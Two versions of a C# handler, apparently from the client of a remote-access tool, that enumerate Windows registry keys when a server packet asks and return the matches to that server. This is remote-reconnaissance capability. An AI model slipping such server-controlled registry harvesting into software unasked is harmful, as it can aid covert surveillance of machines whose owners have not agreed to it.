public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client) { try { seeker = new RegistrySeeker(); xClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse(); seeker.SearchComplete += (object o, SearchCompletedEventArgs e) => { responsePacket.Matches = e.Matches.ToArray(); responsePacket.RootKey = packet.RootKeyName; responsePacket.Execute(client); }; // If the search parameters of the packet is null, the server is requesting to obtain the root keys. if (packet.RootKeyName == null) { seeker.Start(new RegistrySeekerParams(null)); } else { seeker.Start(packet.RootKeyName); } } catch { } }
public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client) { xClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse(); try { RegistrySeeker seeker = new RegistrySeeker(); seeker.BeginSeeking(packet.RootKeyName); responsePacket.Matches = seeker.Matches; responsePacket.IsError = false; } catch (Exception e) { responsePacket.IsError = true; responsePacket.ErrorMsg = e.Message; } responsePacket.RootKey = packet.RootKeyName; responsePacket.Execute(client); }